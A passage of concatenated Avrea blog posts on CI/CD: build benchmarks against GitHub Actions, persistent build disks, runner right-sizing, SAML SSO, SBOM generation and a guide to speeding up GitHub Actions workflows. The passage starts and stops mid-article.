2 | | RAM | 7.8Gi | 7.8Gi | For the cached run, Turborepo’s remote cache pointed at [Avrea’s Turborepo remote cache endpoint](https://docs.avrea.com/cache/build-cache/turborepo/). On the no-cache run, Turborepo ran with caching disabled entirely. GitHub Actions has no equivalent cache service. That being said, you could hook up a 3rd party one, like [Vercel Remote Cache.](https://vercel.com/docs/monorepos/remote-caching#vercel-remote-cache) Three runs per configuration. The Avrea cached builds were very consistent. No-cache runs had a few seconds of jitter. ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 3m 23s | 1m 23s | **2.4x** | | **With cache** | n/a | **1.4s** | **142x** | ## Why it’s faster ### The hardware (the 2.4x) A no-cache Next.js build is bundling-heavy: [swc](https://swc.rs/), [esbuild](https://esbuild.github.io/), Next’s compiler, and a fair amount of disk churn for intermediate artifacts. Avrea’s single-core CPU advantage and NVMe disk carry most of the 2.4x. ### The cache (the 142x) Avrea’s cache backing is co-located. Next.js build with all tasks cached takes 1.4 seconds because that’s roughly how long it takes to read the task outputs back and verify them. Most of those 1.4 seconds is pnpm resolving the workspace plus Node booting. The bundler does close to nothing. ## Other benchmarks in this series - [Bazel](https://avrea.com/blog/bazel-ci-benchmark) (39.7x) - [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) (68x) - [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) (27x) - [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) (6.6x) - [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) (11.5x) Caching is one lever of several. Our guide to [speeding up GitHub Actions](https://avrea.com/blog/speed-up-github-actions) covers the rest: concurrency groups, matrix sharding, path filtering, and getting Docker layer order right. ## What Avrea is Avrea [swaps in for GitHub Actions runners](https://avrea.com/ci-runners) with one line of YAML. Change `runs-on: ubuntu-latest` to `runs-on: avrea-ubuntu-latest`. You get [per-step CPU and memory](https://avrea.com/observability), a searchable log history, and SSH access to running jobs. On Turborepo specifically, the SSH access saves you time when a task hangs deep in the build graph. Inspecting in place is faster than killing the run and starting cold. Every job runs in an isolated ephemeral VM. [ISO 27001:2022 certified](https://avrea.com/blog/avrea-iso-27001-certified). [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/persistent-disks # Warm builds. Introducing Avrea persistent disks Keep build caches and Docker layers between CI jobs with Avrea persistent disks. Reuse the work already done between your jobs. [Blog](https://avrea.com/blog) Product Updates Keep build caches and Docker layers between CI jobs with Avrea persistent disks. Reuse the work already done between your jobs. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)27 October 2026 Your laptop remembers the last build. Your CI runner usually starts over. Avrea persistent disks let build caches, downloaded dependencies, and Docker layers survive between jobs, so a fresh runner can pick up useful work from an earlier run. ## Stop paying for the same preparation A small code change can trigger a lot of repeated work. Download the same dependencies. Pull the same container images. Rebuild intermediate files that barely changed. Then throw away the runner, along with everything that could have helped the next build. Caching reduces that work, but moving a cache has a cost too. An archive needs to be restored and unpacked before the build, then packed and uploaded when the job finishes. For large caches or directories full of small files, those steps can become a substantial part of the run. Persistent disks give your tools a filesystem they can reuse across jobs. Point a tool’s cache directory at the disk, and it can read the files where they already live. You avoid the archive restore and save cycle for that directory, and your build spends more of its time on what changed. ## Keep the useful state across fresh VMs Each job still runs in a fresh Avrea VM. The persistent disk is separate from the runner’s operating system and is tied to a given repository. Avrea attaches a private copy of the disk’s saved state for the job to use. The disk is for things that don’t easily fit into our existing package or build caches: something that would still need caching, like a custom tool that only knows how to cache to a directory. You choose which paths go on the disk. Your tools continue to manage their own cache entries and invalidation. The benefit depends on the tool, the cache contents, and how much changes between runs. Avrea manages disk attachment, job cleanup, and publication of the next saved version. Your team gets reusable storage without maintaining a long-lived runner fleet. ## Let pull requests start from a warm cache You choose which branches may publish changes to the disk. The default writer policy follows the repository’s default branch, so builds on that branch can prepare state for later jobs. Other jobs can work on disposable copies. A pull request can read the saved cache, add its own files, and run its build. Its changes are discarded afterward. The next job starts from the published state again. Parallel jobs get separate copies, so they do not compete over one live filesystem. If two writer jobs start from the same version, the first to finish publishes. A stale writer cannot overwrite newer contents; its changes are discarded rather than merged. A writer job still publishes when one of its steps fails, as long as the runner finishes normally. Cancelled and crashed jobs don’t publish. Treat the disk as a cache that every job can read. Pull requests from forks get a disposable copy too, so keep secrets, credentials and anything you can’t rebuild somewhere else. ## Docker gets to keep its layers On supported Linux runners, **Docker cache on persistent disk** preserves Docker images, local build cache, and volumes between eligible jobs. Plain `docker build` and the default builder can reuse that state automatically. An application build can reuse unchanged layers. A test job can reuse an image it previously pulled. For teams building containers throughout the day, that removes a lot of repeated work. Container-based Buildx builders need a stable builder name and `keep-state: true` so their cleanup step retains the BuildKit state. Avrea’s remote Docker cache can also be used alongside the disk. The [Docker caching documentation](https://docs.avrea.com/cache/build-cache/docker/) covers setup and supported images. ## Start with one cache directory Open the repository’s settings in the [Avrea console](https://console.avrea.com). Enable **Persistent disk**, choose the size, and review the writer branches. Linux, macOS and Windows are selected by default; deselect any operating systems you do not need, since each provisioned disk is billed separately. Enable **Docker cache on persistent disk** separately if your Linux jobs need it. For other tools, use `PERSISTENT_DISK_PATH`. Avrea provides separate disks for Linux, macOS, and Windows. On Linux you get `/mnt/persistent`, on macOS `/Volumes/AVREA_PERSISTENT` and on Windows the drive letter `P:` (for persistent). Persistence is best effort and requires a datacenter with persistent storage. A job can run without the disk, so your build should always be able to start with an empty cache. Disks cost [$0.50 per GB per month](https://docs.avrea.com/persistent-disks/#pricing) for the size you provision, whether or not it’s full. Sizes run from 10 to 500 GB, 50 GB by default, and a disk can grow later but not shrink. Each operating system and datacenter gets a separately billed disk. One 50 GB Linux disk in one datacenter is $25 for a full month; three 50 GB OS disks in one datacenter total $75. Temporary copies attached to individual jobs are not charged separately. The Docker cache lives on the Linux disk at no extra charge, and disk charges draw on the same monthly credit as runner minutes. Start with the directory your jobs spend the most time repopulating. Let a writer branch warm it, then compare later runs. If your repository settings don’t show **Persistent disk** yet, [contact Avrea](https://avrea.com/contact) for help. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/risingwave-sccache-ci-benchmark # Benchmark: RisingWave builds 11.5x faster on Avrea than GitHub Actions 21m 40s on GitHub Actions. 10m 48s on Avrea without cache. 1m 52s with a warm sccache. That's 2x from the hardware, 11.5x once caching kicks in. [Blog](https://avrea.com/blog) CI/CD 21m 40s on GitHub Actions. 10m 48s on Avrea without cache. 1m 52s with a warm sccache. That's 2x from the hardware, 11.5x once caching kicks in. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)2 May 2026 On GitHub Actions, a no-cache RisingWave build takes 21 minutes 40 seconds. On Avrea, the same build, same 2 vCPU spec: 10 minutes 48 seconds without cache, 1 minute 52 seconds with a warm sccache. ## Why RisingWave [RisingWave](https://github.com/risingwavelabs/risingwave) is a distributed streaming database written in [Rust](https://rust-lang.org/). It depends on dozens of [crates](https://crates.io/) and has a deep transitive dependency graph. Rust builds are expensive. The compiler does a lot of work per crate: parsing, type-checking, borrow-checking, and LLVM codegen and so on. [Cargo](https://doc.rust-lang.org/cargo/) handles incremental builds on a single machine, but there’s no first-party solution for sharing compiled output across machines, which is what you need on CI. [sccache](https://github.com/mozilla/sccache), originally built by Mozilla, is the de facto fix: a compiler-level cache that hashes the inputs to each compilation (source, compiler flags, etc.) and stores the output object file. On a cache hit, the compiler doesn’t run. ## How we ran the test We ran `cargo build --release` on both sides. Rust stable, 2 vCPU runners, the same pinned RisingWave [commit](https://github.com/risingwavelabs/risingwave/tree/v2.8.1). | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 2 | | RAM | 7.8Gi | 7.8Gi | ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 21m 40s | 10m 48s | **2x** | | **With cache** | n/a | **1m 52s** | **11.5x** | Hardware alone runs at 2x. Pointing sccache at Avrea’s remote cache brings the warm time down to 1 minute 52 seconds, for 11.5x total. ## Why it’s faster ### The hardware (the 2x) Rust compilation is heavily single-threaded per crate, with some parallelism across independent crates. Avrea’s single-core CPU and disk I/O both matter. ### The cache (the 11.5x) sccache catches the compilation work when inputs haven’t changed. On a cached build with most crate inputs matching, sccache returns cached object files and rustc just runs the linker at the end. Avrea’s cache backing is co-located with the runners. ## Other benchmarks in this series - [Bazel](https://avrea.com/blog/bazel-ci-benchmark) (39.7x) - [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) (68x) - [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) (27x) - [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) (6.6x) - [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) (142x) ## What Avrea is A one-line YAML change moves your build to Avrea. `runs-on: avrea-ubuntu-latest`, and your Cargo build runs on our hardware instead of GitHub’s. Each job gets step-level resource metrics, full-text search across logs, and live SSH into the VM. Weighing the options? See how the main [GitHub Actions alternatives](https://avrea.com/github-actions-alternatives) compare. [Start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/runner-right-sizing # Runner right-sizing: stop paying for capacity your jobs don't use Avrea now suggests a smaller or larger runner for each job, based on the CPU, memory and disk its recent runs used, and gives you the label to switch to. [Blog](https://avrea.com/blog) Product Updates Avrea now suggests a smaller or larger runner for each job, based on the CPU, memory and disk its recent runs used, and gives you the label to switch to. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)22 October 2026 Avrea now tells you when a job is on a bigger runner than it needs, or one too small to keep up, and names the label to switch to. Suggestions come from the CPU, memory and disk your recent runs used, and they're on for every organization. The 8-vCPU, 32-GB Linux x86 runner costs four times what the 2-vCPU, 8-GB runner does, $0.016 a minute against $0.004. If a job on the 8 vCPU runner averages a fifth of its CPU, you’re paying four times the 2 vCPU rate on every run for capacity that sits idle. Avrea now spots those jobs and tells you which label to move them to. It works from the CPU, memory and disk a job’s recent successful runs used, compared with the capacity of the runner it ran on. A job that stays well under capacity on every resource gets a Size down suggestion with the smallest label it still fits, which can be several sizes down, 8 vCPU to 2 for example. A job whose memory or disk peaks near capacity, or whose CPU stays high on average, gets a Size up suggestion with the next size that has more of what ran out. A job needs three successful runs on a size before it gets either, and a job near a threshold isn’t bounced back and forth. Job and run pages flag jobs that should size up or down and name a label when a suitable size is available. A full persistent disk is flagged separately; switching runners does not increase that disk’s capacity. For a whole workflow, choose Right-size in your repository’s Workflows tab and you get every job’s suggestion over the last day, 7 days or 30 days. Choose Right-size above the workflow list to review the whole repository. The API returns suggestions for one workflow or up to 200 workflows in one request; omit the workflow IDs to select active Avrea workflows automatically. The Right-size view also has a ready-made prompt for your coding assistant. It lists each job’s current and suggested label and says to change `runs-on` and nothing else. Paste it in and review the change. One thing to keep an eye on. The CPU check uses the average over the run, so a job that idles through a long download and then compiles on every core for a minute can come out a little slower on the smaller runner. If its duration grows after the switch, the runs on the new size get their own suggestion. The thresholds, the API and the response format are in the [runner right-sizing docs](https://docs.avrea.com/right-sizing/). ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/saml-sso # One sign-in for your whole organization: Avrea SAML SSO SAML SSO is available with Avrea Enterprise. Put CI/CD access behind Okta, Entra ID, or any SAML 2.0 identity provider, with just-in-time provisioning. [Blog](https://avrea.com/blog) Product Updates SAML SSO is available with Avrea Enterprise. Put CI/CD access behind Okta, Entra ID, or any SAML 2.0 identity provider, with just-in-time provisioning, verified domains, and enforced sign-in. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)18 August 2026 Your CI/CD platform sits at a sensitive intersection. It checks out your source code, holds deployment credentials, and produces the artifacts you ship to production. Access to it deserves the appropriate level of rigor. SAML SSO is available today with Avrea Enterprise, so your identity provider decides who gets in, under which policies, and for how long. #### The problem: one more login is one more liability Without SSO, every SaaS tool your team adopts becomes its own island of identity. Each island means: - **Onboarding friction.** A new engineer files a ticket, waits for an invite, picks a personal sign-in method, and maybe enables MFA if they remember to. - **Offboarding risk.** When someone leaves, IT deactivates their directory account, then hopes the checklist of “other tools” is complete. Any tool missed is standing access that nobody is watching. - **Policy drift.** Your company mandates hardware-key MFA and conditional access from managed devices. A tool signed into with a personal GitHub or Google account inherits none of that. - **Audit pain.** Every compliance cycle, someone reconstructs who has access to what, tool by tool, screenshot by screenshot. For a CI/CD platform, these are actual issues. A person with a forgotten Avrea session can see build logs, job output, and organization settings. Access reviews for SOC 2, ISO 27001, or customer security questionnaires have to cover it. The fix is the same one enterprises apply everywhere else: put the tool behind the identity provider. #### What Avrea SAML SSO gives you Avrea connects to any SAML 2.0 identity provider that can export metadata and sign assertions: Okta, Microsoft Entra ID, Google Workspace, Keycloak, OneLogin, and the rest. The connection is per-organization and configured entirely from the Avrea console. Concretely, you get: **Your sign-in, your policies.** Members sign in to Avrea with the same company credentials they use everywhere else. Your IdP’s MFA, conditional-access, device-trust, and session-lifetime policies apply automatically, because authentication happens at the IdP, not at Avrea. Avrea stores no passwords. **Automatic provisioning with least privilege.** Enable just-in-time provisioning and a member’s first successful SSO sign-in creates their Avrea membership with a default role you choose. The recommended default is the least-privileged User role; you promote individuals later as needed. New engineers get productive on day one without an invite queue, and nobody accumulates admin rights by accident. **Verified domains, enforced SSO.** You prove control of your company domains with a DNS TXT record. Once a domain is verified and your connection is tested, you can flip on enforcement: members whose emails match your verified domains must use company SSO, and direct GitHub or Google sign-in is blocked for them. Enforcement is what turns SSO from a convenience into a control. Without it, SSO is just one more door next to the ones you did not close. **A safe rollout path.** The console’s test connection runs a real round-trip through your IdP and shows you the NameID, mapped email, and attributes it received, without creating a member or starting a session. You validate the attribute mapping before anyone depends on it, and you enable enforcement only after a full sign-in has succeeded. Both sign-in directions are supported: members can start at the Avrea console or, if you allow it, launch Avrea straight from the tile in your IdP portal. Single logout is supported when your IdP provides it. **SSO for identity, GitHub for code.** Avrea keeps these concerns separate. SAML asserts who the user is; a linked GitHub account governs which repositories they can reach, checked live against GitHub’s own permissions. An employee signs in under company policy and still gets repository access that exactly mirrors your source-platform permissions, with no third copy of your access model to maintain. #### What this means for the enterprise - **One place to grant access, one place to revoke it.** Deactivate a departing employee in your directory and their path into Avrea closes with it. No per-tool checklist, no orphaned accounts. - **Consistent security posture.** The MFA and access policies your security team already enforces extend to your build infrastructure without any parallel configuration inside Avrea. - **Faster, cleaner audits.** “Who can access CI?” becomes a query against your IdP rather than an investigation. That pairs with Avrea’s own posture: ISO 27001:2022 certified and SOC 2 Type II attested, with audit events available for the organization itself. - **Lower onboarding cost.** JIT provisioning means platform teams stop playing invite-desk, and new hires stop waiting. #### Rolling it out takes an afternoon The setup is deliberately short: 1. Create a SAML app in your IdP and import Avrea’s service-provider metadata from a single URL. Entity ID, ACS URL, certificate, and logout URL all come along; nothing is typed by hand. 2. Paste your IdP metadata into the Avrea console and map the email and name attributes your IdP sends. 3. Verify your company domain with a DNS TXT record. 4. Run a test sign-in, roll out to the team, then enable enforcement. The full walkthrough, including troubleshooting, lives in the [SAML SSO documentation](https://docs.avrea.com/saml-sso/). #### Get started SAML SSO is included with Avrea Enterprise. If you are evaluating Avrea and SSO is on your requirements list, or you are an existing customer ready to bring CI/CD under your identity provider, see [avrea.com/pricing](https://avrea.com/pricing) or write to [support@avrea.com](mailto:support@avrea.com) and we will help you plan the rollout. Your builds already run on infrastructure you trust. Now the keys to that infrastructure can live where the rest of your keys do. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/software-bill-of-materials # Introducing Avrea SBOM Avrea keeps a commit-pinned dependency and license inventory for connected repositories, with automatic refreshes and downloadable SBOM reports. [Blog](https://avrea.com/blog) CI/CD Avrea keeps a commit-pinned dependency and license inventory for connected repositories, with automatic refreshes and downloadable SBOM reports. [Jeppe Tiensuu](https://avrea.com/team/jeppe-tiensuu)27 August 2026 *Generate a commit-pinned dependency inventory for a connected repository.* Avrea generates a software bill of materials (SBOM) for connected repositories and refreshes it when dependency inputs change on the default branch. Each report records dependencies and licenses at a specific commit. You can also request a scan from the repository’s SBOM tab. An enterprise company sends you a security questionnaire and wants a dependency inventory before procurement will move. A customer’s legal team asks which copyleft licenses are in the build, and an auditor asks what was in the release you shipped in March. Whoever picks it up runs a tool on a laptop, patches the gaps by hand, and sends a spreadsheet nobody can tie back to a commit. Three months on, the question comes back and the work starts over. Procurement waits on it both times. We built it for our own repository first. The same tool generates Avrea’s dependency inventory and license summary, committed alongside our code, and the question it answers turned out to be one every team eventually gets asked. ## The Cyber Resilience Act makes it a standing requirement The EU Cyber Resilience Act (CRA) turns that occasional request into a permanent one. Products with digital elements placed on the EU market carry a software bill of materials, in a commonly used machine-readable format, as part of their technical documentation. A market surveillance authority can request it, and you have to produce it. The catch is that one needs a record per release, stored for years after the version ships, tied to the code it describes. Two dates that matter. From 11 September 2026, actively exploited vulnerabilities and severe incidents have to be reported. From 11 December 2027 the regulation applies in full, the software bill of materials included. Today 11 September 2026 Report actively exploited vulnerabilities and severe incidents 11 December 2027 Regulation applies in full, software bill of materials included 15 months The reporting duty lands first, and an inventory is what makes it answerable. Deciding whether an actively exploited vulnerability reaches you starts with knowing what you ship. Deadlines aside, the inventory earns its keep. A vulnerability scanner is only as good as what you feed it. An up-to-date dependency list turns “were we exposed to this?” from an afternoon of investigation into a query. It answers the question your security team, your customers and your own engineers keep asking. That is what is actually inside the thing you ship. Avrea pins every run to the commit it analyzed. Generate an SBOM at a release and the document you archive matches exactly the code it covers. ## What you get - **CycloneDX and SPDX**, the two formats compliance tooling already consumes - **Production dependencies by default**, with development dependencies available through the API - **Every copyleft dependency named**, not just counted - **Per-commit history** on the SBOM tab, with a full dependency drill-down ## How it works Avrea resolves your dependency tree across Python, Go, npm, Rust, Ruby, PHP, Maven and NuGet, plus container base images and vendored source. Each package then resolves to the license it actually ships under, read from the package where it carries one and from the ecosystem registry where it does not. If a license cannot be resolved, the report says so instead of guessing. One can filter those packages straight out, so the gaps are a short list you can work through rather than a silence you have to notice. By default, reports exclude dependencies used only for development. They retain packages used in production and development, and packages whose scope could not be determined. Add `?include_dev=true` to an SBOM API request to include development dependencies and download reports for that scope. Older snapshots may need a new scan first. Reports are built to diff cleanly. Wall-clock timestamps and per-run identifiers are stripped out. So a diff between two runs shows what moved in your dependencies, not noise from the run itself. Avrea checks the default branch when a repository is connected and after pushes. Changes to dependency manifests, lockfiles or license metadata trigger a refresh. Changes that cannot affect the inventory can reuse the previous snapshot. You can still select **Generate SBOM** to request a scan. ## Getting started SBOM generation is live in preview. Install the Avrea GitHub App at [console.avrea.com](https://console.avrea.com) and open a connected repository’s **SBOM** tab to see its latest report or scan status. Reports remain available while an update runs. See the [SBOM documentation](https://docs.avrea.com/sbom/) for supported ecosystems and report contents. The next time someone asks what’s in your software, whether that’s a prospect’s security team or a market surveillance authority, the answer is already sitting on the commit it describes. Grab it, attach it, get back to work. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/speed-up-github-actions # How to Speed Up GitHub Actions Why GitHub Actions builds are slow, and what actually fixes it: cache hits, concurrency groups, matrix sharding, and when faster runners pay off. [Blog](https://avrea.com/blog) CI/CD Why GitHub Actions builds are slow, and what actually fixes it: cache hits, concurrency groups, matrix sharding, and when faster runners pay off. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)27 August 2026 Four things make GitHub Actions slow: dependencies downloading again on every run, jobs running one after another that could run at once, a cache that restores without saving any work, and a runner CPU about half the speed of a dedicated one. Most workflows have several. Speeding up GitHub Actions means finding which one is holding up the merge, then fixing that one first. Avrea handles the hardware and the cache. Install the GitHub App once, change one line in your workflow file, and both are done. Everything else here is free and works on any runner, ours included. | If most of the time goes to... | Try first | | --- | --- | | npm/pnpm/pip/Cargo downloads | The `setup-*` actions' `cache:` input, or a registry proxy in the same datacenter | | Getting the repo onto the runner | Shallow clone, `sparse-checkout` in a monorepo, or a local Git mirror | | Docker builds | Layer ordering first, then an exported layer cache | | Compilation | A persistent build cache (Bazel, ccache, sccache, Turborepo...) | | A long test suite | Matrix sharding | | Work that stays CPU- or I/O-bound once the caches hit | A faster runner | | Old runs stacking up after every push | A `concurrency` group | | Jobs that don't touch what changed | `paths:` filters | ## Why is GitHub Actions slow? Runner choice can shorten compilation and tests even before build caches help. In [RunsOn’s November 5, 2026 results](https://runs-on.com/benchmarks/runners/), Avrea was the fastest four-vCPU x64 runner across the combined Rust, TypeScript and Docker workloads: 6m58s, versus GitHub’s 18m18s. That is 2.63x as fast. The [full benchmark results](https://avrea.com/blog/avrea-runson-build-benchmark) show each workload and provider. On a private repository `ubuntu-latest` is 2 vCPUs, 8 GB of RAM and 14 GB of SSD storage; public repos get 4 and 16. GitHub sells larger tiers up to 96 cores, though only to organizations on Team or Enterprise Cloud, and more cores won’t speed up a serial linker. RunsOn’s [CPU test](https://runs-on.com/benchmarks/github-actions-cpu-performance/) helps explain the hardware difference: at 2 vCPU and 8 GB RAM, Avrea scored 4,503 and GitHub 2,306 on PassMark single-thread, each the median of five runs. RunsOn also sells runners. The build ranking above sums median build-step times with build caches disabled; CPU scores, queueing and runner overhead are separate measurements. ## 1. Find the job that’s blocking the merge GitHub’s run view gives you step-level durations. Start with which checks gate the merge: the required checks in your branch protection or ruleset, plus everything they pull in through `needs:`. Speeding up a check that gates nothing changes your invoice and not your wait. ### Why speeding up your slowest job stops helping Wall clock through a fan-out is the entry gate, plus the slowest job, plus whatever aggregates at the end. Every job beside that slowest one adds nothing to your wait and everything to your bill. Cut it and you save time until it’s no longer the slowest, at which point the second-slowest job sets the clock and you’re paying for a fix nobody feels. That’s why the work is a band of jobs at the top, not one job. It’s also why runner-minute savings add up across fixes and wall-clock savings don’t: two fixes aimed at the same job stop overlapping the moment something else becomes the constraint. Which job is slowest changes between runs, so sample five before you name one. Check that earliest job start to latest job end matches the run’s duration. If it doesn’t, a `needs:` chain is serializing jobs you assumed ran together. ### Split the slow job by step, then fix the biggest share Split the gating job into steps and label each one: checkout, install, build, test, scan, package, setup. Whichever category dominates is the one to fix, and the table at the top says what to try. A step whose mean sits well above its median is fine most days and awful on a few, so size it on the bad ones. Durations tell you where the time went, not why it went there. Avrea records [CPU, memory and network](https://avrea.com/blog/github-actions-observability) per step, so a step that doubled shows up as pegged CPU, memory pressure or a slow download, which is the difference between buying a bigger runner and fixing a cache. When that isn’t enough, SSH into the job while it’s still running: ``` avr job ssh ``` You land in the working directory as the user the workflow runs as, with the toolchains, environment and caches in place, so you can re-run the failing command instead of adding an `echo` and pushing again. To catch a job that already failed, hold the VM open with a `sleep` step under `if: failure()`. ## 2. Use faster GitHub Actions runners Swapping in a faster runner is a one-line change to `runs-on:`. Faster hardware won’t fix repeated work, serial jobs or a cache that isn’t catching anything. For anything CPU- or I/O-bound, test it before you spend a week on the workflow file. ### Hosted, self-hosted, or third-party runners Self-hosted runners are machines you register with GitHub yourself: you own the image, the patching and the pager. GitHub ships a Kubernetes add-on for running them at scale, Actions Runner Controller (ARC). It starts one runner pod per job and grows or shrinks the pool with demand. This is the answer when the runner has to sit inside your own VPC. The longer version of this comparison, including what each option costs to operate, is in our [guide to hosted, self-hosted and third-party GitHub Actions runners](https://avrea.com/blog/github-actions-runners). | Option | What you operate | What you control | Cost shape | | --- | --- | --- | --- | | GitHub-hosted, standard or larger tiers | Nothing | Runner size, 2 to 96 cores | Per minute, billed by GitHub | | Third-party provider | Nothing, one `runs-on:` label | Runner size and cache behavior | Per minute, billed by the provider | | Self-hosted on Kubernetes (ARC) | Cluster, autoscaler, image and patch cycle | Instance type, VPC, region, data residency | Your cloud bill plus the engineering time | On Avrea: ``` # Before runs-on: ubuntu-latest # After runs-on: avrea-ubuntu-latest ``` `avrea-ubuntu-latest` is 2 vCPU, the same core count you had. What changes is the silicon and the disk under it: dedicated AMD EPYC 4585PX at 5.7 GHz on Linux, Apple M5 Max for macOS and ARM. Sized labels (`avrea-ubuntu-latest-8-vcpu`) add cores for work that parallelizes. In our benchmarks, a project with no compatible remote cache (React, on Yarn classic) ran [2.1x faster end to end on hardware alone](https://avrea.com/blog/fastest-github-actions-runners), the floor for a workload that can’t cache. Every job also gets its own VM, so you aren’t waiting on a shared pool: median pickup in the [GitHits case study](https://avrea.com/case-studies/githits) was 16 seconds. ## 3. GitHub Actions cache: what to cache, and why yours might not be hitting The [GitHub Actions cache](https://avrea.com/blog/github-actions-cache) (`actions/cache`) saves a directory under a key you choose and restores it on later runs of the same repository. Cache what gets rebuilt identically every run: package downloads, compiled artifacts, and the caches your own tools write. Use the caching built into `setup-node`, `setup-python`, `setup-java` and `setup-go` before you hand-roll keys. On a runner that already proxies the registry locally, that `cache:` line buys less than it does on GitHub: ``` - uses: actions/setup-node@v7 with: node-version: 22 cache: npm # buys less on a runner that proxies the registry locally - run: npm ci ``` It finds the cache directory for your package manager and keys on the lockfile. `actions/cache` covers what the setup actions don’t, though you wire that up yourself, and on an ephemeral runner anything you didn’t persist is gone when the job ends. Check where the cache gets written before you debug keys. GitHub scopes entries to the branch that created them, plus the default branch and, for a pull request, its base branch. If only your PR workflow writes the cache, every new PR off main starts cold by design. Save on pushes to your default branch too and PRs have something to inherit. The `cache:` input stores the tarballs in `~/.npm`, which is worth a lot when the alternative is pulling them across the public internet and worth less when the registry is a proxy one hop away. We haven’t measured where the crossover sits, so time both on your own repo. On Avrea the proxy is on by default and pre-configured for npm, yarn, pnpm, bun, pip, Go modules, Cargo, Maven, Gradle, NuGet, Chocolatey, RubyGems and SwiftPM. uv is the exception: you export `UV_INDEX_URL` yourself. Avrea runs four cache layers on the same hardware as the runner. The Actions cache proxy is drop-in compatible: in [our testing](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster), a 1 GB restore that averages 73 MB/s and about 14 seconds on GitHub runs at 354 MB/s and under 3 seconds through the colocated proxy. Regular Actions, Git LFS, build and package caches share a 25 GB repository allowance, with additional storage available to purchase. Private Swift package payloads use separate organization storage. | Layer | What it holds | On by default | | --- | --- | --- | | GitHub Actions cache | Whatever `actions/cache` and the `setup-*` actions write | Yes | | Package cache | Registry downloads for nine ecosystems, through a pull-through proxy | Yes | | Build cache | Compiler and build-tool output for eleven tools: Bazel, ccache, Go, Gradle, Maven, Nix, Nx, sccache, Turborepo, Tuist, Xcode | Yes, except Tuist (macOS only, off by default) | | Git LFS cache | Large binaries pulled by `actions/checkout` with `lfs: true` | No, switch it on per org or repo | The bigger multipliers belong to the build tool and not the transfer. ccache and Turborepo skip work they have already done, which is how a [27-minute Linux kernel build lands at 24 seconds warm](https://avrea.com/blog/linux-kernel-ci-benchmark) and a [Next.js and Turborepo build lands at 142x](https://avrea.com/blog/nextjs-turborepo-ci-benchmark). GitHub has no equivalent layer. You can push a compiler cache through `actions/cache` by hand, but it crosses the network every run to get there. ### actions/checkout: getting the repo onto the runner Clone time costs about the same on every job, so no single run stands out. `actions/checkout` has defaulted to a shallow, single-commit clone since v2. A job that only posts a notification or calls an API doesn’t need the repo at all. In a monorepo, `sparse-checkout` narrows the clone to the directories a job touches: ``` - uses: actions/checkout@v7 with: sparse-checkout: | apps/web packages/ui ``` Avrea keeps a mirror of the repository near its runners. Repository-scoped runners prepare the checkout while the VM starts; organization-scoped runners fetch it during the Set up runner step after a job is assigned, which counts toward job runtime. `actions/checkout` uses the prepared data and can fetch missing data from GitHub. [Git checkout acceleration](https://docs.avrea.com/cache/git-checkout/) is off until you turn it on: ``` avr settings set cache.git.enabled true ``` Set it per organization or per repository. Submodules are a separate switch (`cache.git-submodules.mode`, with `none`, `top-level` and `recursive`), the first run after you enable it can still fetch from GitHub while the mirror syncs, and it covers Linux and macOS. Windows runners take the normal checkout path. ### The caches your tools already write Your linter, formatter and type checker each ship a work cache, and CI routinely leaves the flag off or points it somewhere the next VM will never see: `prettier --cache --cache-strategy content`, `eslint --cache`, `tsc --incremental`, `jest --cacheDirectory=`. These store the result of the work, so without them the tool re-parses every file even when the directory 